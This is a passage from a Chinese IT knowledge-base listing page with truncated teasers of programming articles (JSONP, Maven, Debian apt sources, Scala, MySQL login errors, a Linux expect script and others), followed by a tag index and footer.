<a class="tag" taget="_blank" href="/search/jsonp/1.htm">jsonp</a><a class="tag" taget="_blank" href="/search/jsonp%E5%B8%B8%E7%94%A8%E6%96%B9%E6%B3%95/1.htm">jsonp常用方法</a><a class="tag" taget="_blank" href="/search/jsonp+callback/1.htm">jsonp callback</a>
                                    <div>jsonp 常用java方法 
(1)以jsonp的形式返回:函数名(json字符串) 
/***
	 * 用于jsonp调用
	 * @param map : 用于构造json数据
	 * @param callback : 回调的javascript方法名
	 * @param filters : <code>SimpleBeanPropertyFilter theFilt</div>
                                </li>
                                <li><a href="/article/137.htm"
                                       title="多线程场景" target="_blank">多线程场景</a>
                                    <span class="text-muted">alafqq</span>
<a class="tag" taget="_blank" href="/search/%E5%A4%9A%E7%BA%BF%E7%A8%8B/1.htm">多线程</a>
                                    <div>0 
能不能简单描述一下你在java web开发中需要用到多线程编程的场景?0 
对多线程有些了解,但是不太清楚具体的应用场景,能简单说一下你遇到的多线程编程的场景吗? 
Java多线程 
2012年11月23日 15:41 Young9007 Young9007 
4 
0 0 4 
 
Comment添加评论关注(2) 
3个答案 按时间排序 按投票排序 
 
0 
0 
最典型的如: 
1、</div>
                                </li>
                                <li><a href="/article/264.htm"
                                       title="Maven学习——修改Maven的本地仓库路径" target="_blank">Maven学习——修改Maven的本地仓库路径</a>
                                    <span class="text-muted">Kai_Ge</span>
<a class="tag" taget="_blank" href="/search/maven/1.htm">maven</a>
                                    <div>      安装Maven后我们会在用户目录下发现.m2 文件夹。默认情况下,该文件夹下放置了Maven本地仓库.m2/repository。所有的Maven构件(artifact)都被存储到该仓库中,以方便重用。但是windows用户的操作系统都安装在C盘,把Maven仓库放到C盘是很危险的,为此我们需要修改Maven的本地仓库路径。 
  
 </div>
                                </li>
                                <li><a href="/article/391.htm"
                                       title="placeholder的浏览器兼容" target="_blank">placeholder的浏览器兼容</a>
                                    <span class="text-muted">120153216</span>
<a class="tag" taget="_blank" href="/search/placeholder/1.htm">placeholder</a>
                                    <div>【前言】 
自从html5引入placeholder后,问题就来了, 
不支持html5的浏览器也先有这样的效果, 
各种兼容,之前考虑,今天测试人员逮住不放, 
想了个解决办法,看样子还行,记录一下。 
  
【原理】 
不使用placeholder,而是模拟placeholder的效果, 
大概就是用focus和focusout效果。 
  
【代码】 
<scrip</div>
                                </li>
                                <li><a href="/article/518.htm"
                                       title="debian_用iso文件创建本地apt源" target="_blank">debian_用iso文件创建本地apt源</a>
                                    <span class="text-muted">2002wmj</span>
<a class="tag" taget="_blank" href="/search/Debian/1.htm">Debian</a>
                                    <div>1.将N个debian-506-amd64-DVD-N.iso存放于本地或其他媒介内,本例是放在本机/iso/目录下

2.创建N个挂载点目录  
如下: 
debian:~#mkdir –r /media/dvd1 
debian:~#mkdir –r /media/dvd2 
debian:~#mkdir –r /media/dvd3 
…. 
debian:~#mkdir –r /media</div>
                                </li>
                                <li><a href="/article/645.htm"
                                       title="SQLSERVER耗时最长的SQL" target="_blank">SQLSERVER耗时最长的SQL</a>
                                    <span class="text-muted">357029540</span>
<a class="tag" taget="_blank" href="/search/SQL+Server/1.htm">SQL Server</a>
                                    <div>对于DBA来说,经常要知道存储过程的某些信息: 
 
1.   执行了多少次 
 
2.   执行的执行计划如何 
 
3.   执行的平均读写如何 
 
4.   执行平均需要多少时间 
 
列名          &</div>
                                </li>
                                <li><a href="/article/772.htm"
                                       title="com/genuitec/eclipse/j2eedt/core/J2EEProjectUtil" target="_blank">com/genuitec/eclipse/j2eedt/core/J2EEProjectUtil</a>
                                    <span class="text-muted">7454103</span>
<a class="tag" taget="_blank" href="/search/eclipse/1.htm">eclipse</a>
                                    <div>今天eclipse突然报了com/genuitec/eclipse/j2eedt/core/J2EEProjectUtil 错误,并且工程文件打不开了,在网上找了一下资料,然后按照方法操作了一遍,好了,解决方法如下: 
 
错误提示信息: 
 
An error has occurred.See error log for more details. 
Reason: 
com/genuitec/</div>
                                </li>
                                <li><a href="/article/899.htm"
                                       title="用正则删除文本中的html标签" target="_blank">用正则删除文本中的html标签</a>
                                    <span class="text-muted">adminjun</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/html/1.htm">html</a><a class="tag" taget="_blank" href="/search/%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F/1.htm">正则表达式</a><a class="tag" taget="_blank" href="/search/%E5%8E%BB%E6%8E%89html%E6%A0%87%E7%AD%BE/1.htm">去掉html标签</a>
                                    <div>使用文本编辑器录入文章存入数据中的文本是HTML标签格式,由于业务需要对HTML标签进行去除只保留纯净的文本内容,于是乎Java实现自动过滤。 
如下: 
public static String Html2Text(String inputString) {  
String htmlStr = inputString; // 含html标签的字符串
  String textSt</div>
                                </li>
                                <li><a href="/article/1026.htm"
                                       title="嵌入式系统设计中常用总线和接口" target="_blank">嵌入式系统设计中常用总线和接口</a>
                                    <span class="text-muted">aijuans</span>
<a class="tag" taget="_blank" href="/search/linux+%E5%9F%BA%E7%A1%80/1.htm">linux 基础</a>
                                    <div>               嵌入式系统设计中常用总线和接口 
  
        任何一个微处理器都要与一定数量的部件和外围设备连接,但如果将各部件和每一种外围设备都分别用一组线路与CPU直接连接,那么连线</div>
                                </li>
                                <li><a href="/article/1153.htm"
                                       title="Java函数调用方式——按值传递" target="_blank">Java函数调用方式——按值传递</a>
                                    <span class="text-muted">ayaoxinchao</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E6%8C%89%E5%80%BC%E4%BC%A0%E9%80%92/1.htm">按值传递</a><a class="tag" taget="_blank" href="/search/%E5%AF%B9%E8%B1%A1/1.htm">对象</a><a class="tag" taget="_blank" href="/search/%E5%9F%BA%E7%A1%80%E6%95%B0%E6%8D%AE%E7%B1%BB%E5%9E%8B/1.htm">基础数据类型</a>
                                    <div>Java使用按值传递的函数调用方式,这往往使我感到迷惑。因为在基础数据类型和对象的传递上,我就会纠结于到底是按值传递,还是按引用传递。其实经过学习,Java在任何地方,都一直发挥着按值传递的本色。 
  
首先,让我们看一看基础数据类型是如何按值传递的。 
  
public static void main(String[] args) {
		
	int a = 2;
</div>
                                </li>
                                <li><a href="/article/1280.htm"
                                       title="ios音量线性下降" target="_blank">ios音量线性下降</a>
                                    <span class="text-muted">bewithme</span>
<a class="tag" taget="_blank" href="/search/ios%E9%9F%B3%E9%87%8F/1.htm">ios音量</a>
                                    <div>直接上代码吧 
  
//second 几秒内下降为0
- (void)reduceVolume:(int)second {
    KGVoicePlayer *player = [KGVoicePlayer defaultPlayer];
    
    if (!_flag) {
        _tempVolume = player.volume;
       </div>
                                </li>
                                <li><a href="/article/1407.htm"
                                       title="与其怨它不如爱它" target="_blank">与其怨它不如爱它</a>
                                    <span class="text-muted">bijian1013</span>
<a class="tag" taget="_blank" href="/search/%E9%80%89%E6%8B%A9/1.htm">选择</a><a class="tag" taget="_blank" href="/search/%E7%90%86%E6%83%B3/1.htm">理想</a><a class="tag" taget="_blank" href="/search/%E8%81%8C%E4%B8%9A/1.htm">职业</a><a class="tag" taget="_blank" href="/search/%E8%A7%84%E5%88%92/1.htm">规划</a>
                                    <div>        抱怨工作是年轻人的常态,但爱工作才是积极的心态,与其怨它不如爱它。 
        一般来说,在公司干了一两年后,不少年轻人容易产生怨言,除了具体的埋怨公司“扭门”,埋怨上司无能以外,也有许多人是因为根本不爱自已的那份工作,工作完全成了谋生的手段,跟自已的性格、专业、爱好都相差甚远。 
  </div>
                                </li>
                                <li><a href="/article/1534.htm"
                                       title="一边时间不够用一边浪费时间" target="_blank">一边时间不够用一边浪费时间</a>
                                    <span class="text-muted">bingyingao</span>
<a class="tag" taget="_blank" href="/search/%E5%B7%A5%E4%BD%9C/1.htm">工作</a><a class="tag" taget="_blank" href="/search/%E6%97%B6%E9%97%B4/1.htm">时间</a><a class="tag" taget="_blank" href="/search/%E6%B5%AA%E8%B4%B9/1.htm">浪费</a>
                                    <div>一方面感觉时间严重不够用,另一方面又在不停的浪费时间。 
 
每一个周末,晚上熬夜看电影到凌晨一点,早上起不来一直睡到10点钟,10点钟起床,吃饭后玩手机到下午一点。 
精神还是很差,下午像一直野鬼在城市里晃荡。 
 
 
为何不尝试晚上10点钟就睡,早上7点就起,时间完全是一样的,把看电影的时间换到早上,精神好,气色好,一天好状态。 
控制让自己周末早睡早起,你就成功了一半。 
 
有多少个工作</div>
                                </li>
                                <li><a href="/article/1661.htm"
                                       title="【Scala八】Scala核心二:隐式转换" target="_blank">【Scala八】Scala核心二:隐式转换</a>
                                    <span class="text-muted">bit1129</span>
<a class="tag" taget="_blank" href="/search/scala/1.htm">scala</a>
                                    <div>Implicits work like this: if you call a method on a Scala object, and the Scala compiler does not see a definition for that method in the class definition for that object, the compiler will try to con</div>
                                </li>
                                <li><a href="/article/1788.htm"
                                       title="sudoku slover in Haskell (2)" target="_blank">sudoku slover in Haskell (2)</a>
                                    <span class="text-muted">bookjovi</span>
<a class="tag" taget="_blank" href="/search/haskell/1.htm">haskell</a><a class="tag" taget="_blank" href="/search/sudoku/1.htm">sudoku</a>
                                    <div>继续精简haskell版的sudoku程序,稍微改了一下,这次用了8行,同时性能也提高了很多,对每个空格的所有解不是通过尝试算出来的,而是直接得出。 
  
board = [0,3,4,1,7,0,5,0,0,
         0,6,0,0,0,8,3,0,1,
         7,0,0,3,0,0,0,0,6,
         5,0,0,6,4,0,8,0,7,
</div>
                                </li>
                                <li><a href="/article/1915.htm"
                                       title="Java-Collections Framework学习与总结-HashSet和LinkedHashSet" target="_blank">Java-Collections Framework学习与总结-HashSet和LinkedHashSet</a>
                                    <span class="text-muted">BrokenDreams</span>
<a class="tag" taget="_blank" href="/search/linkedhashset/1.htm">linkedhashset</a>
                                    <div>        本篇总结一下两个常用的集合类HashSet和LinkedHashSet。 
        它们都实现了相同接口java.util.Set。Set表示一种元素无序且不可重复的集合;之前总结过的java.util.List表示一种元素可重复且有序</div>
                                </li>
                                <li><a href="/article/2042.htm"
                                       title="读《研磨设计模式》-代码笔记-备忘录模式-Memento" target="_blank">读《研磨设计模式》-代码笔记-备忘录模式-Memento</a>
                                    <span class="text-muted">bylijinnan</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/1.htm">设计模式</a>
                                    <div>声明: 本文只为方便我个人查阅和理解,详细的分析以及源代码请移步 原作者的博客http://chjavach.iteye.com/ 
 
 

import java.util.ArrayList;
import java.util.List;



/*
 * 备忘录模式的功能是,在不破坏封装性的前提下,捕获一个对象的内部状态,并在对象之外保存这个状态,为以后的状态恢复作“备忘”
</div>
                                </li>
                                <li><a href="/article/2169.htm"
                                       title="《RAW格式照片处理专业技法》笔记" target="_blank">《RAW格式照片处理专业技法》笔记</a>
                                    <span class="text-muted">cherishLC</span>
<a class="tag" taget="_blank" href="/search/PS/1.htm">PS</a>
                                    <div>注意,这不是教程!仅记录楼主之前不太了解的 
 
 一、色彩(空间)管理 
作者建议采用ProRGB(色域最广),但camera raw中设为ProRGB,而PS中则在ProRGB的基础上,将gamma值设为了1.8(更符合人眼) 
注意:bridge、camera raw怎么设置显示、输出的颜色都是正确的(会读取文件内的颜色配置文件),但用PS输出jpg文件时,必须先用Edit->conv</div>
                                </li>
                                <li><a href="/article/2296.htm"
                                       title="使用 Git 下载 Spring 源码 编译 for Eclipse" target="_blank">使用 Git 下载 Spring 源码 编译 for Eclipse</a>
                                    <span class="text-muted">crabdave</span>
<a class="tag" taget="_blank" href="/search/eclipse/1.htm">eclipse</a>
                                    <div>使用 Git 下载 Spring 源码 编译 for Eclipse 
  
1、安装gradle,下载 http://www.gradle.org/downloads 
配置环境变量GRADLE_HOME,配置PATH  %GRADLE_HOME%/bin,cmd,gradle -v 
  
2、spring4 用jdk8 下载 https://jdk8.java.</div>
                                </li>
                                <li><a href="/article/2423.htm"
                                       title="mysql连接拒绝问题" target="_blank">mysql连接拒绝问题</a>
                                    <span class="text-muted">daizj</span>
<a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a><a class="tag" taget="_blank" href="/search/%E7%99%BB%E5%BD%95%E6%9D%83%E9%99%90/1.htm">登录权限</a>
                                    <div>mysql中在其它机器连接mysql服务器时报错问题汇总 
 
一、[running]root@192.168.9.136:~$mysql -uroot -h 192.168.9.108 -p   //带-p参数,在下一步进行密码输入 
Enter password:    //无字符串输入 
ERROR 1045 (28000): Access </div>
                                </li>
                                <li><a href="/article/2550.htm"
                                       title="Google Chrome 为何打压 H.264" target="_blank">Google Chrome 为何打压 H.264</a>
                                    <span class="text-muted">dsjt</span>
<a class="tag" taget="_blank" href="/search/apple/1.htm">apple</a><a class="tag" taget="_blank" href="/search/html5/1.htm">html5</a><a class="tag" taget="_blank" href="/search/chrome/1.htm">chrome</a><a class="tag" taget="_blank" href="/search/Google/1.htm">Google</a>
                                    <div>Google 今天在 Chromium 官方博客宣布由于 H.264 编解码器并非开放标准,Chrome 将在几个月后正式停止对 H.264 视频解码的支持,全面采用开放的 WebM 和 Theora 格式。 
 
Google 在博客上表示,自从 WebM 视频编解码器推出以后,在性能、厂商支持以及独立性方面已经取得了很大的进步,为了与 Chromium 现有支持的編解码器保持一致,Chrome</div>
                                </li>
                                <li><a href="/article/2677.htm"
                                       title="yii 获取控制器名 和方法名" target="_blank">yii 获取控制器名 和方法名</a>
                                    <span class="text-muted">dcj3sjt126com</span>
<a class="tag" taget="_blank" href="/search/yii/1.htm">yii</a><a class="tag" taget="_blank" href="/search/framework/1.htm">framework</a>
                                    <div>1. 获取控制器名 
在控制器中获取控制器名:  $name = $this->getId(); 
在视图中获取控制器名:    $name = Yii::app()->controller->id;  
  
2. 获取动作名  
在控制器beforeAction()回调函数中获取动作名:  $name = </div>
                                </li>
                                <li><a href="/article/2804.htm"
                                       title="Android知识总结(二)" target="_blank">Android知识总结(二)</a>
                                    <span class="text-muted">come_for_dream</span>
<a class="tag" taget="_blank" href="/search/android/1.htm">android</a>
                                    <div>明天要考试了,速速总结如下 
  
1、Activity的启动模式 
       standard:每次调用Activity的时候都创建一个(可以有多个相同的实例,也允许多个相同Activity叠加。) 
       singleTop:可以有多个实例,但是不允许多个相同Activity叠加。即,如果Ac</div>
                                </li>
                                <li><a href="/article/2931.htm"
                                       title="高洛峰收徒第二期:寻找未来的“技术大牛” ——折腾一年,奖励20万元" target="_blank">高洛峰收徒第二期:寻找未来的“技术大牛” ——折腾一年,奖励20万元</a>
                                    <span class="text-muted">gcq511120594</span>
<a class="tag" taget="_blank" href="/search/%E5%B7%A5%E4%BD%9C/1.htm">工作</a><a class="tag" taget="_blank" href="/search/%E9%A1%B9%E7%9B%AE%E7%AE%A1%E7%90%86/1.htm">项目管理</a>
                                    <div>高洛峰,兄弟连IT教育合伙人、猿代码创始人、PHP培训第一人、《细说PHP》作者、软件开发工程师、《IT峰播》主创人、PHP讲师的鼻祖! 
首期现在的进程刚刚过半,徒弟们真的很棒,人品都没的说,团结互助,学习刻苦,工作认真积极,灵活上进。我几乎会把他们全部留下来,现在已有一多半安排了实际的工作,并取得了很好的成绩。等他们出徒之日,凭他们的能力一定能够拿到高薪,而且我还承诺过一个徒弟,当他拿到大学毕</div>
                                </li>
                                <li><a href="/article/3058.htm"
                                       title="linux expect" target="_blank">linux expect</a>
                                    <span class="text-muted">heipark</span>
<a class="tag" taget="_blank" href="/search/expect/1.htm">expect</a>
                                    <div>1. 创建、编辑文件go.sh 
  
#!/usr/bin/expect

spawn sudo su admin

expect  "*password*" { send "13456\r\n" }

interact  
   2. 设置权限 
   chmod u+x go.sh   3.</div>
                                </li>
                                <li><a href="/article/3185.htm"
                                       title="Spring4.1新特性——静态资源处理增强" target="_blank">Spring4.1新特性——静态资源处理增强</a>
                                    <span class="text-muted">jinnianshilongnian</span>
<a class="tag" taget="_blank" href="/search/spring+4.1/1.htm">spring 4.1</a>
                                    <div>目录 
Spring4.1新特性——综述 
Spring4.1新特性——Spring核心部分及其他 
Spring4.1新特性——Spring缓存框架增强 
Spring4.1新特性——异步调用和事件机制的异常处理 
Spring4.1新特性——数据库集成测试脚本初始化 
Spring4.1新特性——Spring MVC增强 
Spring4.1新特性——页面自动化测试框架Spring MVC T</div>
                                </li>
                                <li><a href="/article/3312.htm"
                                       title="idea ubuntuxia 乱码" target="_blank">idea ubuntuxia 乱码</a>
                                    <span class="text-muted">liyonghui160com</span>

                                    <div>    
1.首先需要在windows字体目录下或者其它地方找到simsun.ttf 这个 字体文件。 
2.在ubuntu 下可以执行下面操作安装该字体: 
sudo mkdir /usr/share/fonts/truetype/simsun
sudo cp simsun.ttf  /usr/share/fonts/truetype/simsun
fc-cache -f -v 
</div>
                                </li>
                                <li><a href="/article/3439.htm"
                                       title="改良程序的11技巧" target="_blank">改良程序的11技巧</a>
                                    <span class="text-muted">pda158</span>
<a class="tag" taget="_blank" href="/search/%E6%8A%80%E5%B7%A7/1.htm">技巧</a>
                                    <div>有很多理由都能说明为什么我们应该写出清晰、可读性好的程序。最重要的一点,程序你只写一次,但以后会无数次的阅读。当你第二天回头来看你的代码 时,你就要开始阅读它了。当你把代码拿给其他人看时,他必须阅读你的代码。因此,在编写时多花一点时间,你会在阅读它时节省大量的时间。 
  
让我们看一些基本的编程技巧: 
  
 
 尽量保持方法简短 
 永远永远不要把同一个变量用于多个不同的</div>
                                </li>
                                <li><a href="/article/3566.htm"
                                       title="300个涵盖IT各方面的免费资源(下)——工作与学习篇" target="_blank">300个涵盖IT各方面的免费资源(下)——工作与学习篇</a>
                                    <span class="text-muted">shoothao</span>
<a class="tag" taget="_blank" href="/search/%E5%88%9B%E4%B8%9A/1.htm">创业</a><a class="tag" taget="_blank" href="/search/%E5%85%8D%E8%B4%B9%E8%B5%84%E6%BA%90/1.htm">免费资源</a><a class="tag" taget="_blank" href="/search/%E5%AD%A6%E4%B9%A0%E8%AF%BE%E7%A8%8B/1.htm">学习课程</a><a class="tag" taget="_blank" href="/search/%E8%BF%9C%E7%A8%8B%E5%B7%A5%E4%BD%9C/1.htm">远程工作</a>
                                    <div>工作与生产效率: 
  
 
 A. 背景声音 
 
 
  Noisli:背景噪音与颜色生成器。 
  Noizio:环境声均衡器。 
  Defonic:世界上任何的声响都可混合成美丽的旋律。 
  Designers.mx:设计者为设计者所准备的播放列表。 
  Coffitivity:这里的声音就像咖啡馆里放的一样。 
 
 
 B. 避免注意力分散 
 
 
  Self Co</div>
                                </li>
                                <li><a href="/article/3693.htm"
                                       title="深入浅出RPC" target="_blank">深入浅出RPC</a>
                                    <span class="text-muted">uule</span>
<a class="tag" taget="_blank" href="/search/rpc/1.htm">rpc</a>
                                    <div>深入浅出RPC-浅出篇 
深入浅出RPC-深入篇 
  
RPC 
Remote Procedure Call Protocol 
远程过程调用协议 
  
它是一种通过网络从远程计算机程序上请求服务,而不需要了解底层网络技术的协议。RPC协议假定某些传输协议的存在,如TCP或UDP,为通信程序之间携带信息数据。在OSI网络通信模型中,RPC跨越了传输层和应用层。RPC使得开发</div>
                                </li>
                </ul>
            </div>
        </div>
    </div>

<div>
    <div class="container">
        <div class="indexes">
            <strong>按字母分类:</strong>
            <a href="/tags/A/1.htm" target="_blank">A</a><a href="/tags/B/1.htm" target="_blank">B</a><a href="/tags/C/1.htm" target="_blank">C</a><a
                href="/tags/D/1.htm" target="_blank">D</a><a href="/tags/E/1.htm" target="_blank">E</a><a href="/tags/F/1.htm" target="_blank">F</a><a
                href="/tags/G/1.htm" target="_blank">G</a><a href="/tags/H/1.htm" target="_blank">H</a><a href="/tags/I/1.htm" target="_blank">I</a><a
                href="/tags/J/1.htm" target="_blank">J</a><a href="/tags/K/1.htm" target="_blank">K</a><a href="/tags/L/1.htm" target="_blank">L</a><a
                href="/tags/M/1.htm" target="_blank">M</a><a href="/tags/N/1.htm" target="_blank">N</a><a href="/tags/O/1.htm" target="_blank">O</a><a
                href="/tags/P/1.htm" target="_blank">P</a><a href="/tags/Q/1.htm" target="_blank">Q</a><a href="/tags/R/1.htm" target="_blank">R</a><a
                href="/tags/S/1.htm" target="_blank">S</a><a href="/tags/T/1.htm" target="_blank">T</a><a href="/tags/U/1.htm" target="_blank">U</a><a
                href="/tags/V/1.htm" target="_blank">V</a><a href="/tags/W/1.htm" target="_blank">W</a><a href="/tags/X/1.htm" target="_blank">X</a><a
                href="/tags/Y/1.htm" target="_blank">Y</a><a href="/tags/Z/1.htm" target="_blank">Z</a><a href="/tags/0/1.htm" target="_blank">其他</a>
        </div>
    </div>
</div>
<footer id="footer" class="mb30 mt30">
    <div class="container">
        <div class="footBglm">
            <a target="_blank" href="/">首页</a> -
            <a target="_blank" href="/custom/about.htm">关于我们</a> -
            <a target="_blank" href="/search/Java/1.htm">站内搜索</a> -
            <a target="_blank" href="/sitemap.txt">Sitemap</a> -
            <a target="_blank" href="/custom/delete.htm">侵权投诉</a>
        </div>
        <div class="copyright">版权所有 IT知识库 CopyRight © 2000-2050 E-COM-NET.COM , All Rights Reserved.
<!--            <a href="https://beian.miit.gov.cn/" rel="nofollow" target="_blank">京ICP备09083238号</a><br>-->
        </div>
    </div>
</footer>
<!-- 代码高亮 -->
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shCore.js"></script>
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shLegacy.js"></script>
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shAutoloader.js"></script>
<link type="text/css" rel="stylesheet" href="/static/syntaxhighlighter/styles/shCoreDefault.css"/>
<script type="text/javascript" src="/static/syntaxhighlighter/src/my_start_1.js"></script>





</body>

</html>